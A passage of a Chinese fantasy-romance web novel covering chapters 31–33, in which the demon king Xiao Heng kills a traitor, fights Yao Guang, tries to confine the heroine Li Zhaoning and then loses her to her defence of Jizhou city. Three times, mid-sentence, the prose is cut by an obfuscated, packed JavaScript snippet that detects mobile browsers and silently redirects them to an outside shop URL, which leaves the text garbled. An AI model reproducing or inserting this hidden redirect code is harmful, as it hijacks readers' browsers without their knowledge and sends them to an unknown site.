他们摇摇晃晃站起来,一个个脸色惨白如纸,身形摇摇欲坠,被吸走的生气还没有恢复,可那双眼睛已经不再是空洞的,而是燃着熊熊怒火。 他们看着何照,看着这个背叛妖族的叛徒,眼睛里几乎要喷出火来。 “何照你竟敢放出尧光!” “孽障!你可知那魔头若是出世,要死多少妖,多少人!” “今日,清理门户!” 长老们虽然被吸走了妖力,虚弱得风一吹就要倒,可一个个还是强撑着扑上来。大长老踉跄着冲在最前面,枯瘦的手掌拍向何照的天灵盖;三长老从侧面包抄,指尖寒光闪闪;五长老、七长老也拼尽全力,将何照围在中间。 何照被围在中间,狼狈抵挡。他没有了鞭子,只能空手迎敌,可那些长老们虽然虚弱,却一个个不要命似的往上扑,他挡得了这个,挡不了那个,身上很快添了数道伤口。 他一咬牙,仰头大喊,声音凄厉得像一只被逼到绝境的野兽:“尧光!救我!” 远处,大殿之外,紫雾翻涌。 那些紫雾像是感应到了什么,滚滚而来,涌到大殿门口却停住了。 只是涌动。 涌动,翻腾,却迟迟没有进来。 没有回应。 何照愣住了。 他又喊了一声,声音都劈了。 “尧光——!” 还是没回应。 那紫雾就那样停在大殿门口,像一道紫色的帘幕,翻涌着,涌动着,却始终没有跨进门槛一步。 何照的脸色变得惨白。 他忽然明白了什么。 背叛。 他被背叛了。 萧蘅看着他,金色的眼睛里没有波澜。 “你还在犯傻吗?” 何照浑身颤抖,不知是气的还是怕的。他忽然嘶吼起来,声音凄厉得像夜枭。 “那又怎样!那又怎样!只要人类可以死!我宁可被利用!死不足惜!” 萧蘅的眼神冷了。 “你说什么?” 何照看着他,笑容扭曲得不成样子,眼睛里满是疯狂的恨意。 “你以为你那个小州牧是什么好东西?她是人类!人类都该死!都该——” 话没说完。 萧蘅已经出现在他面前。 没有花哨的招式,没有惊天动地的妖力。只是简简单单的一挥扇子。 扇骨划过他的喉咙。 何照瞪大眼睛,捂住脖子,缓缓倒下。 血从他的指缝涌出来,止都止不住,很快就染红了他的衣襟,染红了他身下的地面。他张了张嘴,想说什么,却只发出嗬嗬的声音。 萧蘅低头看着他。 没有怜悯。 没有快意。 只有一片平静。 “我不管人类怎么样。”他说,声音不大,却像钉子一样钉进何照的耳朵里,“但她,你不能动。” 何照的眼睛慢慢失去光彩,瞳孔渐渐涣散最终,他的身体开始变化。 缩小,扭曲,变形。 毛发从他皮肤上钻出来,手脚化作爪子和翅膀,脸也变了形状,一只浑身是血的公鸡,躺在那里,再无声息。 萧蘅转身。 他看向大殿门口。 那紫雾还停在那里,翻涌着,涌动着,像是活物在呼吸。可尧光始终没有现身。他就那样把何照丢在这里,任由他自生自灭。 萧蘅的心猛地揪紧。 尧光在哪? 李昭宁在哪? 他抬脚,一步一步走向大殿门口。身上的伤还在流血,可他顾不上了。他只是往前走,走向那翻涌的紫雾,走向那未知的所在。 身后,长老们的声音传来。 “妖王!” “那是尧光的妖雾,你受了伤,不能——” 萧蘅没有回头。 他只是消失在紫雾之中。 身后,只留下那一地的血,和那只已经死透的,不能瞑目的公鸡。 31. 爱的禁锢 萧蘅镇下心神,闭目凝息,将那所剩无几的妖力如丝如缕地散入天地之间,去寻那系统残存的气息。 系统与他本有牵连,纵是被尧光的妖雾屏蔽了,也总该留下一丝半缕的踪迹。 他寻了不知多久,额上渗出细密的汗珠,脸色越发苍白。身上的伤口还在往外渗血,染透了衣袍,可他浑然不觉,只是一遍又一遍地探出妖识,在这茫茫紫雾中搜寻那一点微弱的牵连。 终于。寻着了。 他猛地睁开眼,金色的眸子里光芒大盛。 下一瞬,他的身形已消失在原地。 * 那紫雾深处的宫殿里,李昭宁正被那无形的力道束缚着,动弹不得。 “你说,他什么时候来?”尧光忽然慢悠悠地开口,声音在大殿里回荡,“我猜,快了。他那性子,忍不了多久。” 李昭宁咬着唇,尧光既然这样说,想必是萧蘅来了。 尧光笑了,站起身来,踱着步走到她面前,紫雾突然袭来,锁住她的下巴,迫她抬头看他。 “你倒是嘴硬。可你心里也知道,他会来,对不对?”他凑近了,近得呼吸都扑在她脸上,那气息冰凉刺骨,“为了你,他什么都肯做。这就是人类的软肋,也是他的软肋。我等他来,等了几千年,终于等到了这一天——” 话音未落,大殿的门轰然炸开。 碎屑纷飞,烟尘弥漫。 烟尘中,一道身影疾射而入,快得惊人,快得连残影都看不清。 尧光笑容不减反增,后退躲开。 可已经晚了。 一道凌厉的白风擦着他的脸颊划过,在他脸上留下一道血痕。 萧蘅落在大殿中央,挡在李昭宁身前。 他的衣袍染血,发丝散乱,呼吸急促得像是刚刚狂奔了千里。可他的眼睛亮得惊人,金色的光芒几乎要溢出来,身后的九条尾巴全部展开,白的圣洁如仙,黑的深邃如魔,交织在一起,威压如山如岳。 他回头看了李昭宁一眼。 只一眼。 那一眼里有太多东西,有担忧,有心疼,有后怕,还有一种说不清道不明的执拗,像是终于找回了什么失而复得的珍宝,再也不肯放手。 李昭宁急迫地打量萧蘅,确保他没事后喊道:“萧蘅!蓟州百姓和小妖们没事吧?” 萧蘅却心一沉,似乎有什么东西溜走了。 他声音沙哑:“没事。” 安定完李昭宁,然后他回过头,看向尧光。 尧光抬手抹了一把脸上的血,看了看指尖那抹殷红,笑得更艳。 “好,好,好。”他一连说了三个好字,笑得畅快,“来了就好。来了,咱们就该算算账了。” 萧蘅只是抬手,雪绸白玉扇已在掌中。 下一瞬,两人同时动了。 两道身影伴着白风和紫雾在大殿中交错、碰撞、分开、再碰撞,速度快得惊人,快得只剩下一道道残影。 妖力激荡,震得整座大殿都在颤抖,梁上的瓦片簌簌往下落,柱子上的裂纹一道道蔓延开来,像是随时都会崩塌。 李昭宁被那无形的力道束缚着,动弹不得,只能眼睁睁看着。她看见萧蘅的身影时而出现在东,时而出现在西,时而与尧光正面相撞,时而从侧面突袭。 他是眼睛深处,还藏着什么别的东西。是执念,是偏执,是一种近乎疯狂的决绝。像是要把什么东西牢牢抓住,再也不松开。 尧光渐渐落了下风。 萧蘅像是疯了一样,完全不顾自己的伤势,只是一味地进攻、进攻、进攻。他的招式越来越凌厉,白风越来越快,越来越不要命,逼得尧光节节后退,狼狈抵挡。 尧光的笑容更加盛了。 他原本以为,萧蘅受了那么重的伤,又奔波而来,总该是强弩之末。可没想到,这家伙像是被什么东西附了体,越战越勇,越战越疯,简直不像是在打架,而是在拼命。 “你疯了,”尧光一边挡一边嗤笑,“你不要命了?” “是又这样?”萧蘅又劈下一扇。 那扇子裹挟着滔天的妖力,劈开了尧光的护身雾气,劈开了他匆忙架起的屏障,直直劈向他的面门。 尧光险险躲过,却还是被那妖气扫中,踉跄后退,撞上了身后的柱子。 尧光的目光越过萧蘅,落在他身后那个被束缚着的小丫头身上。 果真如此。 “好。”尧光忽然笑了,那笑容里有几分阴鸷,几分不甘,还有几分算计,“今日算你赢了。不过嘛。” “放走李昭宁可以,但是你得答应我一个条件。” “所有伤害过她的人都得去死。”萧蘅不理会,倒悬雪绸白玉扇,扇中疯狂召集着白风。 尧光身形一晃,化作一团紫雾,往大殿深处遁去。束缚李昭宁的紫雾却收紧了万分,紧得她喘不上气。 “萧蘅,你自己选择吧。是把妖王之位给我,还是把她的命给我。” 不见尧光的影子,只听他的声音飘荡在空荡荡的大殿里,越来越远,又越来越近。 李昭宁咬着牙,竭力挣脱,上气不接下气:“萧……蘅……快走……找军师……” 萧蘅却没有犹豫,从眉心中抽出一丝金色的丝线,像是抛垃圾一样丢到尧光离开的方向:“放了她。” “好一个痴情种。如此,我便放了她。” 紫雾突然散了。 束缚着李昭宁的那股无形力道,也随之消散。 她身子一软,险些栽倒。萧蘅猛地回身,一步跨到她面前,伸手扶住了她。 他的手在抖,整个人都在抖。 李昭宁抬起头,看着他。 看着他那张苍白的脸,看着他嘴角没擦干净的血迹,看着他眼底那还未褪去的金色光芒,和那光芒深处藏着的、几乎要溢出来的后怕。 她张了张嘴,想问什么,可萧蘅没等她开口。 他弯下腰,一把将她打横抱起。 她紧紧拉住他的袖口,不停质问:“萧蘅你为什么把妖王之位给他!一旦杻阳山毁了,下面就是蓟州城!” 萧蘅没说话。 他抱着她,一步一步往外走。 走过破碎的大殿,走过散落的瓦砾,走过那渐渐消散的紫雾。 李昭宁被他抱着,能听见他的心跳又快又重,像是擂鼓。能感觉到他的手臂收得很紧,紧得像是怕她一松手就会消失。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281019|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她却因伤势有些昏迷。 慢慢慢慢,闭上了眼睛。 * 萧蘅带着她,一路往杻阳山的深处去。 也不知走了多久,她醒了,发现萧蘅带自己穿过了迷雾,绕过了弯道,终于在一处山崖前停下。 那崖壁上,有一个洞口。 从外面看,只是一个普通的洞穴,黑漆漆的,毫不起眼,和山里千千万万个洞穴没什么两样。 萧蘅抱着她,走进去。 李昭宁愣住了。 这哪里是什么洞穴,这分明是一座藏在山腹里的洞天福地。 石床靠墙而设,铺着柔软的兽皮。石桌摆在窗边,桌上竟还放着一套茶具,干干净净的,像是常有人擦拭。靠墙立着几架书架,上面密密麻麻摆满了书册卷轴,有竹简,有帛书,有纸页泛黄的旧籍。 最奇的是一扇窗。 那不是真的窗,却胜似真的窗,不知是什么法术幻化出来的,竟可以望见外面的山景。此刻窗外正对着落日,晚霞铺了半边天,金红交织,美得不像话。 萧蘅把她放在石床上。 那石床铺得软软的,陷下去一个窝。李昭宁被放上去,整个人都陷进那柔软的兽皮里。 她挣扎着想坐起来。 萧蘅按住她,他的手按在她肩上,力道不重,却不容抗拒。 “别动。”他低头,吻去她嘴角的血痕。 李昭宁猛地抬头,四目相对,他的那双眼睛里,有什么东西变了。 不再是以前那种别扭的、傲娇的、嘴硬心软的样子。不再是鎏金的暖色。那金色的光芒还没有完全褪去,可那光芒的深处,有什么东西在翻涌,在挣扎,像是困兽犹斗,像是溺水的人抓住了最后一根浮木。 那眼神让她心里一紧。 “萧蘅……” 他低下头,额头抵着她的。他的额头滚烫,烫得惊人,像是有火在烧。 “别说话。” 他的声音闷闷的,从喉咙里挤出来,很沙哑,也有些哽咽。 李昭宁愣了一下,没动。 他就那样抵着她的额头,呼吸扑在她脸上,又急又重,像是刚刚跑了很远很远的路,还没喘过气来。 过了很久,他开口了:“你知道吗。” 他顿了顿。 “我父亲,也是这样把我母亲留下来的。” 李昭宁心一沉。 萧蘅继续说,声音低低的,像是在说一件很久远的事。 “他爱上了一个人类女孩。把她带回来,关起来,不让她走。他在这个洞里,给她布置了最好的一切。他以为这样就能留住她。” 他的声音顿住了,像是在回忆什么。 “她跑了三次。三次都被抓回来。每一次被抓回来,他就把她关得更紧。他舍不得伤她,只是不让她走。可她还是想走,一直想走。” “后来她死了。” 他抬起头,看着李昭宁。 那双金色的眼睛里,有什么东西在闪。 “死在我父亲怀里。” “我曾以为我不会像父亲那样疯狂,但是看到你受伤,我受不了。” “答应我,别再离开我。” 32. 重启系统 萧蘅那一番话说罢,眼底的脆弱几乎要溢出来。 他看着她,像是溺水之人看着最后一根浮木,像是迷途之人看着远处的一盏灯火。那目光里有太多的东西。 有渴望,有恐惧,有卑微的祈求,还有一种连他自己都控制不住的偏执,像是要把她牢牢抓住,再不松开。 李昭宁看着他。 看着这个从小被嘲讽、被排挤、被叫做“半妖”的妖,现在把最柔软的腹部露出来给她看,像是把命都交到了她手上。 她忽然觉得很心疼,心疼得像是被什么东西揪住了心口,喘不过气来。 可她还是开了口。 “滚。” 萧蘅愣住。 那一个字像一记闷锤,砸在他心口上,砸得他整个人都僵在那里。 李昭宁看着他,眼睛里没有闪躲,没有犹豫,只有一片清明。那清明像是深秋的湖水,冷得让人心寒,又亮得让人无处可藏。 “别让我恨你。” 她的声音不大,却像钉子一样,一字一字钉进他心里。 “我印象中的萧蘅,才不会是你这副样子。他不会想把谁关起来,不会想绑着谁不放。他会嘴硬,会别扭,会口是心非,可他从来不会真的伤害谁。” 她说着,语气渐渐激动起来,连身子都开始微微发抖。 “堂堂妖王,如今为了儿女情长将杻阳山拱手相让,你对得起那些侍奉你的小妖们吗?对得起那些信任你、追随你的长老们吗?对得起那些在杻阳山上生活了千百年的妖族吗?” 她越说越气,猛地伸手,一把拽住他的衣领。 那衣领被她拽得紧紧的,勒得萧蘅脖颈生疼。可他没有躲,也没有挣,只是低头看着她,看着她眼底那燃烧的怒火,看着她因激动而微微泛红的脸颊。 她比他矮许多,这样拽着他,整个人几乎是被吊着似的,却偏偏气势汹汹,像是要把所有的愤怒都倾泻出来。 “你让我留在这里,和你过一辈子?”她的声音都劈了,“那蓟州城怎么办?那些百姓怎么办?那些小妖们怎么办?他们叫我一声大人,信任我,依赖我,指着我带他们过好日子,你让我怎么坐视不管?” “你不是这个世界的人。” 萧蘅冷不丁的一句话,李昭宁愣住了。 “什么?” 萧蘅的目光直直的,像是要看进她心里去。 “你的气息。从一开始,我就知道。” 他的声音很平静,平静得不像是在说一件惊天动地的事。 “你和这里的一切都不一样。你的魂魄,你的气息,你身上那种说不清的感觉,那不是这个世界的东西。” “再加上那个系统……” 他顿了顿,嘴角弯了弯,像是在笑,可那笑意没到眼底。 “你以为你瞒得住我?” 李昭宁张了张嘴,说不出话。 萧蘅笑了。笑着笑着,眼底有点红。 “那你为什么要管他们?他们又不是你的同类,又不是你的族人,你根本不属于这里。你随时可以走,可以回去你那个世界,过你原来的生活。” “和我在一起,不好吗?” “就留在这里,只和我在一起。不用管那些百姓,不用管那些小妖,不用管什么蓟州城,什么杻阳山。就我们两个,在这个洞里,过一辈子。” “不好吗?” “不好。”她毫不犹豫。 萧蘅的眼底有什么东西碎了。 他低下头,肩膀微微颤抖。那颤抖从肩膀蔓延到全身,蔓延到每一根手指,整个人都像是在风中飘摇的落叶。 “那我不能放你走啊。因为我就是……” 他的声音闷闷的,从喉咙里挤出来,沙哑得不像话。 “如此不堪。” 他开始说。说很久之前的事。声音低低的,像是在把一颗心剖开来给她看。 说那些追在他身后骂“杂种”的小妖。他们围成一个圈,把他堵在中间,拿石头扔他,往他身上吐口水,一边扔一边笑,笑得那么大声,笑得整座山都能听见。 他蜷缩在地上,抱着头,一声不吭,等他们笑够了、扔累了,自己走开,他才爬起来,拍拍身上的土,一个人回去。 说他每次修炼都拼命,拼到吐血,拼到晕倒,只为了不被人落下,只为了证明自己也可以。别的小妖修炼两个时辰,他就修炼四个时辰;别的小妖练一遍,他就练十遍。 他的妖力比谁都强,他的法术比谁都精,可那些眼神,还是没有变。 就连那些低等的小妖,背地里也在窃窃私语,说他不配做妖王,说他是走了狗屎运,说要不是老妖王一族只有他这一个血脉,怎么也轮不到他来坐这个位置。 说那些背后的窃窃私语,像针一样扎在他心上,扎了几千年,扎得千疮百孔,扎得他再也不敢让人靠近。 说他为什么藏起两条尾巴。那是他耻辱的标记,是他永远洗不掉的污点。 只要藏起来,就可以假装自己也是纯血的,也可以被他们接纳。他藏了几千年,藏到连自己都快要忘记那两条尾巴的存在。 说他为什么从来不让任何人靠近。因为他怕成重蹈父亲母亲的覆辙,每一次靠近,最后都是失望。 人会走,会离开,会死亡。妖会变,会离开,也会死亡。与其等他们走,不如从一开始就拒绝,从一开始就把人推得远远的。这样就不会受伤,不会难过,不会在深夜里一个人醒着,想着那些离他而去的人。 说到最后,他抬起头,看着她,那双金色的眼睛里,有什么东西在闪,亮晶晶的,像是泪,又像是光。 “李昭宁。” 他的声音很轻:“你是第一个,让我想靠近的人。” 他靠近她,近得呼吸都交缠在一起,近得能看见她眼底的自己。 “真的求你,别走,好不好?” 他的声音在发抖。 “我很怕失去你。” 她张了张嘴,想说什么,可萧蘅没有给她说话的机会。 他低下头,吻住了她。 那吻炽热得像是压抑了许久的火焰,终于找到了出口。 他的唇烫得惊人,带着微微的颤抖,像是怕她推开,又像是怕这只是一场梦。他的手紧紧扣着她的腰,把她往怀里按,像是要把她揉进骨血里。 窗外,最后一丝晚霞沉进了西山。 洞里的光线暗下来,只剩下朦胧的暮色,朦朦胧胧的,像是蒙了一层纱。 远处,隐隐约约传来一声兽吼。 像是预警。 又像是召唤。 蓟州城,还在等着她。 李昭宁猛地清醒过来,她用尽全力推开他。 萧蘅踉跄后退一步,看着她,眼底有几分茫然,几分不解,还有几分受伤。 “够了。” 李昭宁打断他。 她的呼吸急促,胸口剧烈起伏着。她抬手抹了一把嘴唇,那上面还残留着他的温度,烫得灼人。 她看着他,一字一顿。 “萧蘅,你听我说。” “我不能留下来。”李昭宁说,声音已经平静下来,却还是有些抖,“蓟州城需要我。那些百姓需要我。那些小妖们需要我。尧光在外面,随时可能打过去,你让我怎么安心待在这里?” 萧蘅的眼神暗了暗,目光越来越沉,越来越暗,像是有什么东西在酝酿。 他问:“你让我眼睁睁看着,你去送死吗?” 李昭宁愣了一下。 “我有剑,我也有……” “你那把剑,能打过尧光?”他冷声打断她。 李昭宁沉默了。萧蘅走近一步。 “你打不过他。”他说,声音低低的,“你连他一根手指都打不过。你去,就是送死。” 李昭宁咬着唇,不说话。 萧蘅又走近一步。 “留在这里。”他说,“至少在这里,你是安全的。至少在这里,我能护着你。” 她忽然想起他说的话,我看见你受伤,就想把你藏起来。藏到谁也找不到的地方。藏到只有我一个人知道的地方。 她心里一紧。 “萧蘅。”她说,声音尽量放平,“你不能这样。” “我知道你担心我。”李昭宁继续说,“可你不能把我关起来。我不是你的……你的什么东西。我是李昭宁,蓟州州牧,我有自己的事要做。” 萧蘅的眼神动了动。 李昭宁趁着机会,推开他,往洞口跑去。 “我说了,你不许走。”萧蘅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285531|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音从身后传来,带着一丝紧绷。 她刚跑了没两步,忽然觉得腰间一紧。 她低头一看,一条毛茸茸的尾巴缠了上来。 紧接着,第二条、第三条、第四条…… 一条接一条的尾巴缠上来,缠住她的腰,缠住她的腿,缠住她的手臂。那些尾巴软软的,毛茸茸的,却缠得紧紧的,紧得她动弹不得。 李昭宁回过头,欲言又止,双手用力挣扎。 她的眼睛里有挣扎,也有此时不能说出口的无奈。 她忽然觉得很愤怒。可那愤怒之下,又有一种说不清的心疼。 萧蘅站在那里,身后的九条尾巴全部展开,七条白的,两条黑的。那些尾巴像是无数只手,把她牢牢固定住。 “萧蘅。”她说,声音很轻,“你松开。” 萧蘅摇头:“不松。” “松开。” “不松。” 李昭宁深吸一口气,闭上眼睛。 萧蘅眉头一皱:“你在做什么?” 李昭宁不答。她在心里,一遍一遍地呼唤系统。 然,四周一片寂静。 萧蘅看着她,眼底闪过一丝不解:“李昭宁?” 李昭宁不理他,只是一遍一遍地呼唤。 系统,出来啊!紧急情况啊! 系统,出来啊! 忽然,脑海里响起一声轻响。 【叮——】 那声音微弱得像蚊蝇的嗡鸣,却真真切切地响了起来。 李昭宁心头一喜。 【检测到宿主强烈呼唤……正在重启……】 【重启中……】 【重启成功。】 【叮!系统提示:恋爱偿还系统已重新启动!】 李昭宁几乎要哭出来。萧蘅的脸色却变了。 他也听见了。久违的系统声音。 【叮!检测到原绑定人对宿主实施强制囚禁行为!】 【根据《恋爱偿还协议》第七条第三款:禁止一方以任何形式强制限制另一方人身自由,违者将触发虐值机制!】 萧蘅眉头紧皱,顿感不妙:“什么东西?” 【虐值正在计算中……】 【当前虐值:10……30……50……】 萧蘅的脸色越来越难看。他能感觉到,有什么东西在压迫着他,逼他松开那些尾巴。 【虐值:70……80……90……】 【警告!虐值即将达到临界点!届时将触发强制惩罚机制!】 萧蘅咬着牙,那些尾巴却不受控制地松了松。 李昭宁趁势挣开,踉跄着后退几步。 她转过身,看着他。 萧蘅站在那里,九条尾巴无力地垂落下来,像是被抽去了力气。他看着她,眼底有几分不敢置信,有几分受伤,还有几分说不清的东西。 “你……” 他张了张嘴,却说不出话来。 李昭宁忽然觉得心口疼得厉害。但她没有回头。 她只是说:“萧蘅,对不起。” “爱情固然重要,但是和平,胜过一切。” 然后她转身,往洞口跑去。跑得飞快,像最初,她冒冒失失闯进他的生活。 改变了一切。 李昭宁跑出洞口,外面已经是夜晚。月光冷冷地洒下来,照得山间一片银白。远处,隐隐约约能看见蓟州城的灯火,星星点点的,像是一双双眼睛在看着她。 她深吸一口气,握紧手中的剑,大步往前走。 * 山洞之中,萧蘅一个人站在那里,看着空荡荡的洞口。月光从外面照进来,落在他身上,落在他脸上,落在他眼底。 他就那样站着,一动不动,像一尊石像。 许久。 他忽然笑了。 笑得苦涩,笑得无奈,笑得嘴角的弧度都带着自嘲。 “果然……” 他的声音轻轻的,轻得像一片落叶。 “还是留不住。” 他低下头,看着自己的手。 那双手刚刚还抱着她,还触着她的温度。现在,却空空荡荡的,什么也没有。 他就那样站着,站了很久很久,直到远处那一声兽吼再次响起。 33. 最后一战(一) 杻阳山上,此时已是另一番景象。 紫雾弥漫,遮天蔽月。那雾气浓得化不开,翻涌着,蠕动着,像是有无数活物在里面爬行。 雾气之中,传来一阵阵凄厉的惨叫,是那些来不及逃走的小妖们的惨叫。 p 雾气深处,尧光负手而立,站在大殿前的广场上。 他的身侧,是一圈圈紫色的光芒,像是无数条触须,伸向四面八方。那些触须缠在一个个小妖身上,把它们高高吊起,吸着它们的妖力。 小妖们在空中挣扎着,惨叫着,却挣不开那些紫色的触须。 尧光闭着眼,深吸一口气。 一股股肉眼可见的光芒从小妖们身上涌出,顺着那些触须,流入他的体内。 妖力。 那些小妖们挣扎的动作越来越慢,越来越无力,叫声也越来越弱,最终彻底安静下来。 尧光睁开眼。他低头看了看自己手心汇聚的气力,满意地笑了。 “不错。”他说,声音轻轻柔柔的,“这些妖力……果然滋补。只可惜,不够塞牙缝。” 他抬起头,看向远处。那里,是蓟州城的方向。 “小丫头,还是太天真了啊,”他喃喃自语,“萧蘅,你护错了人啊。” 他笑了,笑得畅快,笑得肆意,笑得整座杻阳山都在震颤。 “等着吧。” “咱们的账,慢慢算。” 李昭宁一路狂奔,也不知跑了多久,跑了多远,只知那天边的月亮从东走到西,又从西走到不知何处。 她不敢停,也不敢回头,生怕一回头就会看见那双金色的眼睛,生怕一回头就会心软。 蓟州城的轮廓终于出现在视野里。 可那轮廓不对劲。 城墙上火光冲天,浓烟滚滚,像是一条条黑龙盘旋在上空。那火光映得半边天都红了,红得刺眼,红得触目惊心。 更诡异的是,城墙四周弥漫着一层淡淡的紫雾,那雾气像是活物,缓缓蠕动着,一点一点往城里渗透。 李昭宁心一紧,加快脚步。 近了。 更近了。 她终于看清了城下的景象。 紫雾如潮,从四面八方涌来,一层叠一层,一层裹一层,把蓟州城围得水泄不通。那雾气浓得化不开,一直来回翻涌。 雾气所过之处,草木枯萎,砖石即塌,连空气都像是被抽干了,憋闷得喘不过气来。 可城墙上下,却是一片热火朝天的景象。 小妖们排成一排,站在城墙上,手里握着各种各样的兵器,有的握着剑,有的握着刀,有的握着不知从哪儿捡来的木棍。 它们不敢动用妖力,只能凭着一股子蛮力和那些粗浅的武术招式,把那些从雾气中探出来的紫色触须一一斩断。 她眯着眼睛仰望,看到了熟悉的身影。 浮雀用爪子抓着长剑,刚斩断一条触须,另一条又从侧面缠了上来。它来不及挥剑,只能猛地一低头,那触须擦着它的羽毛掠过,带走了几根雀羽。 它吓得脸色发白,却咬着牙不退,反而往前冲了一步,一剑斩在那触须上。 玄武被触须缠住了脚踝,它挣了挣,挣不开,眼看就要被拖进雾里。旁边的狼少爷和金刚眼疾手快,大刀一挥斩断那触须,把它拽了回来。两个小妖对视一眼,什么也没说,又各自投入了战斗。 李昭宁不禁疑惑,它们……它们什么时候学会的……教化学院教的基本都是理论知识啊…… 更远处,还有几只陌生的小妖正抱着一个个鼓鼓囊囊的包裹,在城墙上飞奔。那些包裹里装的是箭矢,是滚木,是守城用的各种器械。 许是因为妖力没吸走,或者怕被吸走,它们靠肉身扛,扛得气喘吁吁,汗流浃背,却没有一只停下来歇一歇。 城下,还有一群小妖正用人类的武术与那些从雾气中钻出来的小怪物搏斗。 它们动作生涩,招式笨拙,可每一招每一式都用尽了全力。一只小妖被扑倒了,旁边的同伴立刻补上;一只小妖受伤了,立刻有另一只把它拖到安全的地方。甚至还会打配合。 还有蓟州百姓,他们手持兵器,也在与尧光抗争。 李昭宁看着这一幕,眼眶忽然有些发热。 谁说人与妖不能和平相处。 它们,他们,我们,都用自己的命,守着这座城。 忽然,城墙上传来一阵轰鸣。 她抬头看去,只见文老正站在一架巨大的弩车前,指挥着几只小妖装填箭矢。 那弩车通体漆黑,造型古朴,比寻常的弩车大了三四倍,箭矢是被紫雾割断的树。 “快!快!”文老的声音苍老却有力,在轰鸣声中格外清晰,“左转三寸!对,就是那儿——放!” 嗖的一声,那粗大的箭矢激射而出,带着破空之声,直直射入紫雾深处。雾气中传来一声凄厉的惨叫,散开。 那惨叫不像是人,也不像是兽,倒像是无数根针同时扎进耳朵里,刺得人头皮发麻。 文老擦了擦额上的汗,对身旁的小妖说:“这玩意儿,还是当年打仗时用的。本以为这辈子都用不上了,没想到……” 李昭宁站在远处,看着这一切。 看着小妖们拼尽全力地战斗,看着文老带着它们操控那些老旧的器械,看着人与妖并肩而立,守着一座城,守着一个共同的希望。 她忽然觉得,这一路的疲惫,这一路的挣扎,这一路的心疼与不舍,都值了。 她握紧手中的剑,大步往城里走去。 * 城门口,诸葛兰旌正站在高处,指挥着守城的小妖们。 他一身素白长袍,在这硝烟弥漫的战场上显得有些格格不入,却又透着一股子泰山崩于前而色不变的从容。 他看见李昭宁,眼神微微一凝,从高处跃下,落在她面前。 “李大人。”他的声音一如既往的平静,可那双眼睛却在她身后扫了扫,“萧蘅呢?” 李昭宁的脚步顿了一顿。 她没有回答,只是问:“战况如何?” 诸葛兰旌看着她,目光里闪过一丝什么。他没有追问,只是点了点头,开始汇报。 “紫雾从昨夜开始围城。这东西古怪得很,小妖们一旦动用妖力,那些雾气就像活了一样,顺着妖力追过来,把妖力吸走。已经有十几个小妖被吸干了,现在还昏迷着,不知能不能醒过来。” 他顿了顿,又指了指城墙上那些正与触须搏斗的小妖们。 “所以现在,它们只能靠肉搏。有的学了几招人类的武术,有的干脆凭着一股子蛮劲。好在文老搬出了几架老旧的弩车,能破散紫雾,争取时间,这样还能顶一阵子。” “百姓们也有来助力,只不过,对紫雾来说都是徒劳无功。我怕他们被吸了人气,都让他们回去守着。但还有些不肯离去。” “是尧光吧。” 诸葛兰旌自问自答:“没露面。只是这些雾气,应该是他的手笔。” 李昭宁沉默了片刻。 然后她开口,声音压得很低:“尧光附在芝兰弟弟的身上。” 诸葛兰旌眉头一皱:“芝兰的弟弟?那个……被丢弃在杻阳山的?” 李昭宁点了点头。 诸葛兰旌的眉头皱得更紧了。 “那如今,只有昙花小妖。”他说,“估计只有它知道。” “嗯。”李昭宁点头,“可它还没有复活。狼少爷说,不知道什么时候会开花。” 城墙上的轰鸣声还在继续,小妖们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289816|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的喊杀声还在继续,紫雾的翻涌也还在继续。一切都在继续,只有那朵昙花,还不知要沉睡到何时。 李昭宁忽然开口:“军师。” “嗯?” “如果……” 她顿了顿,像是在斟酌措辞:“如果我回不来,蓟州城就交给你了。” 诸葛兰旌脸色一变。 “你——” 话没说完,远处忽然传来一声巨响。 轰—— 那声音惊天动地,震得脚下的地面都在颤抖。李昭宁猛地抬头,看向声音传来的方向。 杻阳山。 那座巍峨的山峰,此刻正冒着滚滚浓烟,火光冲天。那火光映得半边天都亮了,亮得像是有太阳要从那里升起。 紧接着,她看见无数的光点从那火光中涌出,像是受惊的鸟群,四散奔逃。 不是光点。 是小妖。 那些小妖们跌跌撞撞地往这边跑,有的飞在空中,有的在地上狂奔,有的爬着,有的滚着。它们个个脸色惨白,气息微弱,像是被抽干了什么重要的东西。 那是被吸走了妖力的小妖。 它们逃出来了。 李昭宁的心猛地揪紧。 她正要冲过去,却看见那些逃出来的小妖身后,跟着另一群身影。 那些身影动作僵硬,步态诡异,眼睛空洞得没有一丝神采。 是傀儡。 是被幻力操控的傀儡妖。它们追在那些逃命的小妖身后,伸出僵硬的手,想要抓住它们。 李昭宁握紧剑,就要冲上去。 青鸾圣扇挡在了她前面,拦住了她。 